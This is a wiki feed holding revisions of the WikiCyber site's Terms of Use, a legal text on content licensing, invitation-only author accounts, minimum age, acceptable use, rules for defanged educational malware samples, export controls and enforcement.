&#039;&#039;&#039;15.14 Public injunctive relief.&#039;&#039;&#039; Nothing in this Section 15 waives any right to seek public injunctive relief that cannot lawfully be waived. If such a claim is pursued, it must be brought in court under Section 15.2, and any other claims will be arbitrated; the court determines whether any stay is appropriate under applicable law; no stay is required by these Terms where it would impair a nonwaivable remedy.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.15 Opt-out; changes; severability of Section 15.12.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Opt-out.&#039;&#039;&#039; You may opt out of Sections 15.12 and 15.13 by emailing the address in Section 13.1 within 30 days after you first affirmatively accept this version&#039;s arbitration agreement. State that you opt out and include your username, if any, and sufficient contact information to identify you. An account or access to its original email is not required; reasonable identity verification may be requested. Timely sending is sufficient. Opting out carries no penalty or loss of service and does not affect the other Terms. A prior valid opt-out remains effective. Court proceedings under Section 15.2 then apply.&lt;br /&gt;
:(b) &#039;&#039;&#039;Changes.&#039;&#039;&#039; A material change to this dispute-resolution agreement requires advance notice under Section 14 and fresh affirmative acceptance, with a new 30-day opportunity to opt out. No change applies retroactively to an accrued claim or a dispute already notified to the other party unless both parties expressly agree after the dispute arises. Rejecting a change does not revoke a prior valid opt-out.&lt;br /&gt;
:(c) &#039;&#039;&#039;Minors.&#039;&#039;&#039; To the extent that a person is a minor under applicable law, Sections 15.12 and 15.13 apply only to the extent permitted by that law.&lt;br /&gt;
:(d) &#039;&#039;&#039;Severability.&#039;&#039;&#039; If part of this arbitration agreement is unenforceable, it is severed only if the remainder can lawfully operate consistently with the protections above. Sections 15.12(c) and 15.13 control administrator unavailability and unenforceable individual-arbitration restrictions. Severability cannot create assent or require arbitration where no enforceable agreement exists.&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=326</id>
		<title>WikiCyber:Terms of Use</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=WikiCyber:Terms_of_Use&amp;diff=326"/>
		<updated>2026-10-31T17:08:28Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Rollback terms publication after validation failure&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Effective Date:&#039;&#039;&#039; 16 October 2026 &amp;amp;nbsp;|&amp;amp;nbsp; &#039;&#039;&#039;Last Updated:&#039;&#039;&#039; 20 October 2026&lt;br /&gt;
&lt;br /&gt;
These Terms of Use (these &amp;quot;&#039;&#039;&#039;Terms&#039;&#039;&#039;&amp;quot;) constitute a legally binding agreement between you and the Operator (as defined below) governing your access to and use of the WikiCyber website located at https://wikicyber.org, together with its pages, content, and related services (collectively, the &amp;quot;&#039;&#039;&#039;Site&#039;&#039;&#039;&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;BY ACCESSING, BROWSING, OR CONTRIBUTING TO THE SITE, YOU ACKNOWLEDGE THAT YOU HAVE READ AND UNDERSTOOD THESE TERMS AND AGREE TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, YOU MUST NOT ACCESS OR USE THE SITE.&#039;&#039;&#039; &#039;&#039;&#039;You must be at least 13 years old to use the Site, and at least 18 years old to hold an Author account unless the conditions of Section 3.9 are met.&#039;&#039;&#039; Users who have not reached the age of majority in their jurisdiction of residence are advised to review these Terms with a parent or legal guardian before using the Site.&lt;br /&gt;
&lt;br /&gt;
== 1. Introduction and Definitions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.1 The Operator.&#039;&#039;&#039; WikiCyber is a free educational project operated by Shore-Roger Enterprises LLC, a California limited liability company (the &amp;quot;&#039;&#039;&#039;Operator&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;we&#039;&#039;&#039;&amp;quot;, &amp;quot;&#039;&#039;&#039;us&#039;&#039;&#039;&amp;quot;, or &amp;quot;&#039;&#039;&#039;our&#039;&#039;&#039;&amp;quot;). The Site is an encyclopedia-style reference of cybersecurity guides, tutorials, and articles written by contributors and is made available free of charge. The Operator operates the Site as a free educational project and without any intention of making a profit, now or in the future.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.2 Definitions.&#039;&#039;&#039; In these Terms, unless the context requires otherwise:&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Author&#039;&#039;&#039;&amp;quot; means a natural person to whom the Operator has issued an account on the Site and who creates, edits, or submits Content.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Content&#039;&#039;&#039;&amp;quot; means all text, code, images, data, and other material made available on the Site, including Contributions.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Contribution&#039;&#039;&#039;&amp;quot; means any Content that an Author creates, edits, or submits to the Site, whether or not it has been published, including articles, drafts, sandbox pages, talk-page comments, and edit summaries.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;License&#039;&#039;&#039;&amp;quot; means the [https://creativecommons.org/licenses/by-sa/4.0/legalcode Creative Commons Attribution-ShareAlike 4.0 International Public License] (CC BY-SA 4.0).&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;Supplemental Policies&#039;&#039;&#039;&amp;quot; means the [[WikiCyber:Privacy policy|Privacy policy]] and the [[WikiCyber:General disclaimer|General disclaimer]], each as published on the Site from time to time.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;User&#039;&#039;&#039;&amp;quot; or &amp;quot;&#039;&#039;&#039;you&#039;&#039;&#039;&amp;quot; means any person or entity that accesses or uses the Site, including any Author.&lt;br /&gt;
:&amp;quot;&#039;&#039;&#039;WikiCyber Parties&#039;&#039;&#039;&amp;quot; means the Operator and its owners, officers, administrators, agents, volunteers, and Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.3 Interpretation.&#039;&#039;&#039; Headings are for convenience only and do not affect the interpretation of these Terms. The word &amp;quot;including&amp;quot; means &amp;quot;including without limitation.&amp;quot; References to a statute or regulation are to that statute or regulation as amended or replaced from time to time.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.4 Availability of the Site.&#039;&#039;&#039; The Operator may modify, suspend, restrict, or discontinue the Site, or any part of it, at any time, for any reason, and without notice or liability.&lt;br /&gt;
&lt;br /&gt;
== 2. Content License and Contributions ==&lt;br /&gt;
&lt;br /&gt;
=== 2.1 License to Content ===&lt;br /&gt;
&#039;&#039;&#039;2.1.1&#039;&#039;&#039; Unless a page or item expressly states otherwise, Content is made available to the public, free of charge, under the License. Subject to and in accordance with the License, you may copy, redistribute, and adapt the Content for any purpose, including commercial use, provided that you comply with the License, including the following conditions:&lt;br /&gt;
:(a) &#039;&#039;&#039;Attribution.&#039;&#039;&#039; You must give appropriate credit to WikiCyber and its Authors, provide a link to the License, and indicate whether changes were made. A hyperlink or URL to the page you used, or to its history page, is sufficient to credit the Authors.&lt;br /&gt;
:(b) &#039;&#039;&#039;ShareAlike.&#039;&#039;&#039; If you remix, transform, or build upon the Content, you must distribute your contributions under the License or a license that the License designates as compatible.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2.1.2&#039;&#039;&#039; Section 2.1.1 is a summary provided for convenience and is not a substitute for the License. In the event of any conflict between this Section 2.1 and the License, the License governs with respect to the rights granted in the Content.&lt;br /&gt;
&lt;br /&gt;
=== 2.2 Contributions ===&lt;br /&gt;
By creating, editing, or submitting a Contribution, an Author represents, warrants, and agrees that:&lt;br /&gt;
:(a) the Author hereby licenses the Contribution to the public under the License, and acknowledges that such license is &#039;&#039;&#039;irrevocable&#039;&#039;&#039;;&lt;br /&gt;
:(b) the Contribution is the Author&#039;s original work, or the Author otherwise holds all rights necessary to license it under the License, and the Contribution does not infringe, misappropriate, or violate the copyright, trademark, privacy, or other rights of any third party;&lt;br /&gt;
:(c) any third-party material included in the Contribution is identified as such and is available under a license compatible with the License;&lt;br /&gt;
:(d) Contributions that are published on the Site, together with their edit histories and the Author&#039;s username, are publicly and permanently visible, and may be edited, reorganized, moved, or removed by the Operator&#039;s administrators at any time;&lt;br /&gt;
:(e) subject to the License, the Author retains such copyright as the Author holds in the Contribution, and no Contribution creates any obligation on the part of the Operator to publish, retain, or credit it other than as the License requires; and&lt;br /&gt;
:(f) the Contribution complies with Section 6.&lt;br /&gt;
&lt;br /&gt;
=== 2.3 Matters Not Licensed ===&lt;br /&gt;
:(a) Third-party material that is marked with its own license, copyright notice, or terms remains subject to that license, notice, or terms.&lt;br /&gt;
:(b) The names &amp;quot;WikiCyber&amp;quot; and &amp;quot;Shore-Roger Enterprises LLC,&amp;quot; and all associated logos, are trademarks or trade names of their respective owners. The License does not grant any trademark rights, and no such rights are granted by these Terms.&lt;br /&gt;
&lt;br /&gt;
=== 2.4 Linking to the Site ===&lt;br /&gt;
You may link to any page of the Site, including by text hyperlink, for any lawful purpose, provided that the linking does not suggest that the Operator or any Author sponsors, endorses, or is affiliated with you or your site, and that your site does not contain material that is unlawful, harassing, hateful, or otherwise objectionable. You may not use the WikiCyber name or any WikiCyber logo or graphic as a link or in any other manner that suggests endorsement without the Operator&#039;s prior written permission. This Section does not limit the attribution you are required to give under the License. The Operator may withdraw this permission as to any particular site at any time.&lt;br /&gt;
&lt;br /&gt;
== 3. Authors and Accounts ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.1 Invitation only.&#039;&#039;&#039; Accounts on the Site are issued by invitation only. Authors are vetted before being invited and are expected to have a notable background in cybersecurity, whether as a cybersecurity professional or through a history of participation in capture-the-flag (CTF) competitions and cybersecurity camps. An invitation, and the holding of an account, are subject to the minimum-age requirements of Section 3.9, regardless of the background on which the Author was vetted.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.2 Vetting is not a guarantee.&#039;&#039;&#039; The vetting of an Author does not constitute a representation or warranty by the Operator that any Author&#039;s Content is accurate, complete, current, or endorsed by the Operator. Content reflects the knowledge and opinions of the individual Authors.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.3 Account security.&#039;&#039;&#039; Each Author is solely responsible for maintaining the confidentiality of their account credentials, for all activity that occurs under their account, and for not permitting any other person to use their account. An Author is the sole authorized user of their account. An Author must notify the Operator promptly upon becoming aware of, or reasonably suspecting, any unauthorized use of their account or compromise of their credentials.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.4 Editorial control and review.&#039;&#039;&#039; New or changed Content may be held in a draft or review queue before publication. The Operator may edit, move, decline to publish, or remove any Content at any time and for any reason, in its sole discretion.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.5 No employment or agency.&#039;&#039;&#039; Unless the Operator and an Author have agreed otherwise in a signed writing, Authors contribute voluntarily and without compensation, and nothing in these Terms creates an employment, partnership, joint venture, or agency relationship between the Operator and any Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.6 One account; accurate information.&#039;&#039;&#039; Unless the Operator agrees otherwise in writing, each Author may hold only one account. The Operator may deactivate any additional or duplicate account. An Author must provide accurate information to the Operator (including the email address associated with the account) and must keep that information current. Accounts are personal to the Author and may not be shared, sold, lent, or transferred.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.7 Authors&#039; representations.&#039;&#039;&#039; By accepting an account, an Author represents and warrants that: (a) the Author has not previously been suspended or removed from the Site, and has not engaged in conduct that would justify suspension or removal; (b) the Author has the full power and authority to accept these Terms, and doing so does not breach any other agreement or obligation by which the Author is bound (including any agreement with an employer, school, or competition organizer concerning ownership of, or confidentiality of, work product); (c) every statement the Author makes to the Operator in connection with the Author&#039;s invitation or vetting is true; and (d) the Author satisfies the eligibility requirements of Section 6.5 (Export Controls and Sanctions) and will promptly notify the Operator if that ceases to be true.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.8 Contributing on behalf of an organization.&#039;&#039;&#039; If an Author contributes to the Site in the course of employment or on behalf of a school, team, company, or other entity (an &amp;quot;&#039;&#039;&#039;Organization&#039;&#039;&#039;&amp;quot;), the Author represents that the Author is authorized to accept these Terms and to license the Contribution under the License on the Organization&#039;s behalf, and that the Organization agrees to be bound by these Terms. In that case, &amp;quot;you&amp;quot; refers to both the Author and the Organization, and the Organization is responsible to the Operator for any breach of these Terms by the Author in connection with that Contribution. An Author who is not so authorized must not submit the Contribution.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.9 Minimum age.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Use of the Site.&#039;&#039;&#039; You must be at least 13 years old to access or use the Site. If you are under 13, you must not use the Site, and you must not create an account, submit any Contribution, or provide any personal information to the Operator. The Site is not directed to children under 13, and the Operator does not knowingly collect personal information from children under 13.&lt;br /&gt;
:(b) &#039;&#039;&#039;Author accounts.&#039;&#039;&#039; You must be at least 18 years old (or the age of majority in your jurisdiction, if higher) to hold an Author account, except that a person who is at least 13 but under 18 may hold an Author account only if the Operator has received, directly from the person&#039;s parent or legal guardian and before the account is issued, written consent to the account and to these Terms, in a form the Operator accepts, together with enough information for the Operator to verify that the consent is genuine. The Operator may refuse to issue an account to any minor, and a vetting history or an invitation does not oblige the Operator to do so. A parent or legal guardian who gives consent is responsible for the minor&#039;s use of the account and may withdraw consent at any time by written notice to the Operator, upon which the Operator will deactivate the account.&lt;br /&gt;
:(c) &#039;&#039;&#039;Representation and enforcement.&#039;&#039;&#039; By accessing the Site or accepting an account, you represent that you meet the requirements of this Section 3.9. An Author must tell the Operator promptly if they are not, or cease to be, eligible. If the Operator learns that a person under 13 has used the Site or provided personal information, or that an account was issued in breach of this Section, the Operator may immediately deactivate the account and will take reasonable steps to delete the personal information it holds about that person, subject to any legal obligation to retain it. Contributions that have already been published may remain in accordance with the License and the public nature of the Site&#039;s edit history (Section 10.2), but the Operator may remove them.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.10 Inactive accounts.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Inactivity.&#039;&#039;&#039; An Author account is &amp;quot;inactive&amp;quot; if, for a continuous period of twelve (12) months, the account has neither been used to log in to the Site nor been used to make an edit or other contribution, as shown by the Operator&#039;s records.&lt;br /&gt;
:(b) &#039;&#039;&#039;Deactivation.&#039;&#039;&#039; The Operator may deactivate an inactive account at any time. Before doing so, the Operator will make a reasonable effort to send a notice to the email address associated with the account, at least thirty (30) days in advance, but the Operator is not required to do so if the account has no working email address, and a failure of delivery does not prevent deactivation. Deactivation removes the Author&#039;s ability to log in and may include removing the Author&#039;s permissions, any reviewer or other role, and any open assignments.&lt;br /&gt;
:(c) &#039;&#039;&#039;Deletion of personal data.&#039;&#039;&#039; After deactivation, the Operator may delete the email address and other non-public personal information associated with the account. Because of the License, the public edit history, and the need to attribute Authors, the Author&#039;s username, and Contributions that were already published, may remain on the Site, and the Operator may rename the account to a neutral name or remove the Contributions in its discretion.&lt;br /&gt;
:(d) &#039;&#039;&#039;Reactivation.&#039;&#039;&#039; A former Author whose account was deactivated under this Section may ask the Operator to reactivate it. The Operator is not obliged to do so, and may require the Author to be re-vetted and to satisfy Sections 3.7, 3.9, and 6.5 again before granting the request.&lt;br /&gt;
:(e) &#039;&#039;&#039;Security.&#039;&#039;&#039; The Operator may also deactivate, suspend, or limit any account at any time where it reasonably suspects that the account is compromised or at risk of misuse, in accordance with Section 7.&lt;br /&gt;
&lt;br /&gt;
== 4. Educational Use Only; No Professional Advice ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1 Educational purpose.&#039;&#039;&#039; &#039;&#039;&#039;WikiCyber is not a source of expert help.&#039;&#039;&#039; The Site is a reference work, similar in style to an encyclopedia, intended solely for general educational purposes. Nothing on the Site constitutes professional, legal, security-consulting, or other individualized advice, and no attorney-client, consultant-client, or other professional relationship is created by your use of the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2 No assurance of accuracy.&#039;&#039;&#039; Cybersecurity guidance is dependent on context, and the techniques described on the Site may alter, disable, or damage systems and data. Content may be incomplete, out of date, or incorrect. Before applying any Content, you should practice in an isolated laboratory or virtual machine, maintain backups, and verify the information against authoritative sources.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.3 Assumption of risk and responsibility.&#039;&#039;&#039; You use the Site and the Content &#039;&#039;&#039;entirely at your own risk&#039;&#039;&#039;. You are solely responsible for (a) obtaining all authorizations necessary before testing, configuring, or otherwise acting upon any system, network, or data, and (b) ensuring that your use of the Content complies with all applicable laws, regulations, and agreements.&lt;br /&gt;
&lt;br /&gt;
== 5. No Affiliation; Third-Party Marks ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.1 Wikipedia and the Wikimedia Foundation.&#039;&#039;&#039; WikiCyber is &#039;&#039;&#039;not affiliated with, endorsed by, sponsored by, or representative of Wikipedia or the Wikimedia Foundation&#039;&#039;&#039;, and does not claim otherwise. The Site runs on MediaWiki, free and open-source software that is used by many unrelated organizations, and the use of that software implies no affiliation of any kind.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.2 Other organizations.&#039;&#039;&#039; WikiCyber is not affiliated with, endorsed by, or sponsored by CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco Systems, Microsoft Corporation, or any other organization, product, service, or competition that may be mentioned on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.3 Third-party marks.&#039;&#039;&#039; All third-party names, trademarks, and logos are the property of their respective owners and are used for identification and educational reference only.&lt;br /&gt;
&lt;br /&gt;
== 6. Acceptable Use ==&lt;br /&gt;
&lt;br /&gt;
Cybersecurity knowledge may be used either to defend systems or to attack them. You are fully responsible for your own conduct on and in connection with the Site. You may use the Site only for lawful and ethical purposes, in compliance with all applicable laws and regulations, with this Section 6, and with any editorial policies, help pages, or reasonable instructions the Operator publishes on the Site from time to time. If you use any third-party service in connection with the Site, you must also comply with that service&#039;s terms.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited uses of the Site and its Content.&#039;&#039;&#039; You shall not use the Site, or any information obtained from it, to:&lt;br /&gt;
:(a) access, probe, attack, disrupt, or damage any computer system, network, account, or data &#039;&#039;&#039;without the explicit permission of its owner&#039;&#039;&#039;;&lt;br /&gt;
:(b) commit, or assist any person in committing, any crime or other unlawful act, including fraud, identity theft, stalking, unauthorized surveillance, or theft of data;&lt;br /&gt;
:(c) create, host, or distribute malware or other harmful code for malicious use, or post, embed, upload, host, or link to any Malicious Code (as defined in Section 6.4) in any form other than an Educational Sample that complies with Section 6.4.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited conduct on the Site.&#039;&#039;&#039; You shall not:&lt;br /&gt;
:(d) attack, overload, abusively scrape, or attempt to circumvent the security or access controls of the Site;&lt;br /&gt;
:(e) post the private information, credentials, or confidential material of any other person without that person&#039;s consent;&lt;br /&gt;
:(f) post Content that infringes any person&#039;s intellectual property rights, or that is harassing, threatening, intimidating, stalking, obscene, hateful, deceptive, or spam;&lt;br /&gt;
:(g) impersonate any person or misrepresent your qualifications or affiliation;&lt;br /&gt;
:(h) post answers, keys, or non-public materials from an ongoing competition where the rules of that competition prohibit sharing them;&lt;br /&gt;
:(i) discriminate against, or harass, any person on the basis of race, color, national origin, religion, sex, gender identity, sexual orientation, disability, medical condition, marital status, age, or any other characteristic protected by applicable law;&lt;br /&gt;
:(j) use or attempt to use another person&#039;s account, or allow another person to use yours;&lt;br /&gt;
:(k) interfere with, disrupt, damage, disable, or overburden the Site or its servers or networks, or impair any other person&#039;s use of the Site, including by abusing the review, request, or notification features;&lt;br /&gt;
:(l) access or attempt to access any page, feature, account, or data that you are not authorized to access (including another Author&#039;s private sandbox pages), or tamper with, probe, or bypass any security measure, permission, or protection of the Site;&lt;br /&gt;
:(m) use robots, crawlers, scrapers, or other automated means to access the Site except in a way that respects the Site&#039;s robots.txt file and any published rate limits or API guidelines, it being understood that nothing in this paragraph restricts your rights in the Content under the License;&lt;br /&gt;
:(n) post Content that you know to be false or misleading, that contains viruses, corrupted data, or other harmful, disruptive, or destructive files or code (other than Educational Samples that comply with Section 6.4), or that contains political campaigning, advertising, or solicitation; or&lt;br /&gt;
:(o) engage in, encourage, or promote any activity that violates these Terms or the rights of the Operator or any third party.&lt;br /&gt;
&lt;br /&gt;
=== 6.1 No Promotional Links ===&lt;br /&gt;
&#039;&#039;&#039;6.1.1&#039;&#039;&#039; &#039;&#039;&#039;Promotional links are prohibited&#039;&#039;&#039; on articles, drafts, and all other pages of the Site, except as provided in Section 6.1.2. A &amp;quot;promotional link&amp;quot; includes any link to your own or any other person&#039;s website, blog, video channel, store, newsletter, or social media profile; any donation, sponsorship, or &amp;quot;buy me a coffee&amp;quot; page; and any affiliate, referral, or advertising link.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.2&#039;&#039;&#039; Promotional links are permitted &#039;&#039;&#039;only on an Author&#039;s own user profile page&#039;&#039;&#039; (the page titled &amp;quot;User:&amp;quot; followed by the Author&#039;s username). Promotional links are &#039;&#039;&#039;not&#039;&#039;&#039; permitted on articles, on drafts or sandbox pages submitted for review, on talk pages, or on any other page. An Author must remove all promotional links from a draft before submitting it for review.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.3&#039;&#039;&#039; A link that serves as a genuine source for a statement of fact, cited in accordance with the Site&#039;s sourcing policy (for example, a link to official documentation), is not a promotional link. However, the Operator&#039;s reviewers may remove any link whose primary purpose is promotional, and the Operator may remove promotional links and content at any time without notice. Repeated violations of this Section 6.1 may result in the loss of Author access under Section 7.&lt;br /&gt;
&lt;br /&gt;
=== 6.2 Reasonable File Sizes ===&lt;br /&gt;
Whenever the Site permits the upload or embedding of images or other files, an Author must keep each file reasonably sized for its purpose. For example, an image that shows only a small diagram or arrow must not be uploaded as a multi-megapixel or 4K image. An Author must resize, crop, or compress files before uploading them, and must not upload files that are larger than needed to serve their educational purpose. The Operator may set maximum file sizes and dimensions, and may resize, replace, or remove any file that is unreasonably large, without notice.&lt;br /&gt;
&lt;br /&gt;
=== 6.3 Responsible Disclosure ===&lt;br /&gt;
If you discover a security vulnerability affecting the Site, you are requested to report it promptly to the contact address in Section 13 and not to exploit it, disclose it publicly before the Operator has had a reasonable opportunity to remediate it, or access data that is not your own.&lt;br /&gt;
&lt;br /&gt;
=== 6.4 Malicious Code and Educational Samples ===&lt;br /&gt;
&#039;&#039;&#039;6.4.1 Rule and definition.&#039;&#039;&#039; &amp;quot;&#039;&#039;&#039;Malicious Code&#039;&#039;&#039;&amp;quot; means any software, script, macro, document, shellcode, payload, or other code that is designed to, or is reasonably capable of, damaging, disrupting, or gaining unauthorized access to a computer system, network, account, or data, including malware, ransomware, spyware, backdoors, worms, credential stealers, and working exploits. You may not post, embed, upload, host, or link to Malicious Code on the Site, except as an Educational Sample that complies with every requirement of this Section 6.4. Section 6(c) and this Section 6.4 are to be read together: nothing in this Section 6.4 permits any use that Section 6 otherwise prohibits.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.2 Educational Sample.&#039;&#039;&#039; An &amp;quot;&#039;&#039;&#039;Educational Sample&#039;&#039;&#039;&amp;quot; is an excerpt or illustration of Malicious Code that satisfies all of the following:&lt;br /&gt;
:(a) it is included solely to explain how an attack works or to help readers detect, analyze, mitigate, or defend against it;&lt;br /&gt;
:(b) it is clearly labeled, immediately above the sample, with a visible notice stating that it is a defanged educational sample;&lt;br /&gt;
:(c) it is Defanged as required by Section 6.4.3;&lt;br /&gt;
:(d) it is no longer than is reasonably necessary for its educational purpose, and is accompanied by explanatory text, including how the technique can be detected or prevented; and&lt;br /&gt;
:(e) it does not exploit a vulnerability for which no vendor fix, patch, or mitigation has been publicly released.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.3 Defanged.&#039;&#039;&#039; Code is &amp;quot;&#039;&#039;&#039;Defanged&#039;&#039;&#039;&amp;quot; only if all of the following are true:&lt;br /&gt;
:(a) it appears solely as human-readable text inline in the page (for example, in a code block), and not as a file, archive, attachment, download, or embedded object;&lt;br /&gt;
:(b) it is not compiled, packed, obfuscated, or encoded (for example, as an executable, library, installer, script bundle, or an encoded blob such as Base64 or hexadecimal data), and it does not contain raw shellcode or any other byte sequence that would run, or decode into something that would run, if copied;&lt;br /&gt;
:(c) it is incomplete in a way that prevents it from working as written against a real system, because it omits at least one element essential to its operation (such as a functional payload, a final stage, a working key, or target-specific values), and no reader can make it function without writing that element themselves; and&lt;br /&gt;
:(d) every network address, hostname, URL, credential, and other target or infrastructure value in it is an inert placeholder, such as the loopback address 127.0.0.1 (or ::1), an address in the documentation ranges 192.0.2.0/24, 198.51.100.0/24, or 203.0.113.0/24 (or 2001:db8::/32), a reserved name such as example.com, example.net, or example.org, or a name ending in .test, .example, or .invalid, and none identifies a real person, organization, system, or account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.4 No hosting or linking.&#039;&#039;&#039; The Site does not host executable, compiled, or otherwise runnable Malicious Code, and you may not upload or attempt to upload any such file. You may not post a link to any page, repository, or file from which live malware or a working exploit can be downloaded. Links to published analysis, advisories, and documentation (for example, a vendor advisory or a CVE record) that do not themselves distribute working Malicious Code are permitted. An indicator of compromise taken from real malware (for example, an address or domain) may be shown only in defanged notation (for example, &amp;quot;hxxp&amp;quot; for &amp;quot;http&amp;quot; and &amp;quot;[.]&amp;quot; for &amp;quot;.&amp;quot;) and with a cited source.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.5 Review, removal, and responsibility.&#039;&#039;&#039; The Operator and its reviewers determine in their sole discretion whether Content is an Educational Sample, and may reject, redact, or remove any Content that does not clearly meet this Section 6.4, without notice. Labeling Content as an educational sample does not make it one. You must not complete, restore, recompile, decode, or otherwise re-weaponize any Educational Sample, and you may run or test such material only on systems that you own or are expressly authorized in writing to test, in accordance with Section 6(a). Compliance with this Section 6.4 is a minimum requirement and does not make any use lawful. You remain solely responsible for your own conduct.&lt;br /&gt;
&lt;br /&gt;
=== 6.5 Export Controls and Sanctions ===&lt;br /&gt;
&#039;&#039;&#039;6.5.1 Compliance with export laws.&#039;&#039;&#039; The Site and its Content include technical information about computer security, cryptography, and attack and defense techniques that may be subject to United States export control and sanctions laws, including the Export Administration Regulations (15 C.F.R. Parts 730–774) and the economic sanctions regulations administered by the U.S. Department of the Treasury&#039;s Office of Foreign Assets Control (together, &amp;quot;&#039;&#039;&#039;Export Laws&#039;&#039;&#039;&amp;quot;). You may not access, use, download, or export, re-export, or transfer the Site or any Content in violation of Export Laws or any other applicable export, import, or sanctions law. You are solely responsible for determining whether your own access to, use of, or transfer of Content is lawful where you are located and under the laws that apply to you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.2 Restricted persons and locations.&#039;&#039;&#039; You represent and warrant that you are not (a) located in, organized under the laws of, or ordinarily resident in a country or region that is the subject of a comprehensive United States embargo or sanctions program, as designated from time to time (for example, Iran, North Korea, and Syria, and any other country or region so designated); (b) identified on, or owned or controlled by a person identified on, any United States government list of prohibited, denied, or restricted parties, including the Specially Designated Nationals and Blocked Persons List, the Denied Persons List, the Entity List, and the Unverified List; or (c) otherwise prohibited by Export Laws from receiving the Content or from providing technical data or services to the Operator or to the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.3 Authors and technical contributions.&#039;&#039;&#039; A person described in Section 6.5.2 may not hold an Author account and may not submit, edit, or otherwise contribute technical data, technical information, source code, or other Content to the Site. The Operator may decline, suspend, or revoke any account, and may remove any Contribution, where the Operator believes, in its sole discretion, that holding the account or accepting the Contribution would or might violate Export Laws. An Author must not use a proxy, VPN, third-party account, or any other means to conceal their location or identity in order to circumvent this Section 6.5.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.4 No representation of exportability.&#039;&#039;&#039; The Operator makes no representation that the Content is appropriate or available for use or export in any location, and does not provide an export classification for any Content. The Operator may restrict or block access to the Site, or to any part of it, from any location as it considers necessary to comply with law, without notice or liability.&lt;br /&gt;
&lt;br /&gt;
== 7. Enforcement and Termination ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.1 Remedies.&#039;&#039;&#039; If the Operator believes, in its sole discretion, that you have violated or are likely to violate these Terms, the Operator may, at any time and without prior notice: (a) remove, edit, or restrict access to any Content; (b) suspend (temporarily or indefinitely) or permanently revoke your account or your access to the Site; (c) cooperate with law enforcement and other governmental authorities; and (d) take any other action permitted by law or in equity.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.2 Unlawful use.&#039;&#039;&#039; &#039;&#039;&#039;Use of the Site to gain unauthorized access to any system, to commit any crime, or for any other unlawful purpose is prohibited and may result in legal action.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.3 Legal process.&#039;&#039;&#039; The Operator may disclose information about you or your use of the Site where it believes in good faith that disclosure is required by law, legal process, or governmental request, or is necessary to protect the rights, property, or safety of the Operator, the Site, or others.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.4 Termination by you; effect of termination.&#039;&#039;&#039; You may stop using the Site at any time. Upon suspension or termination of your access for any reason, your right to use the Site ceases immediately. Termination does not revoke, and does not entitle you to the removal of, any license granted or Contribution made under Section 2.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.5 No liability.&#039;&#039;&#039; The WikiCyber Parties shall have no liability to you for any action taken in good faith under this Section 7.&lt;br /&gt;
&lt;br /&gt;
== 8. Copyright Complaints ==&lt;br /&gt;
&lt;br /&gt;
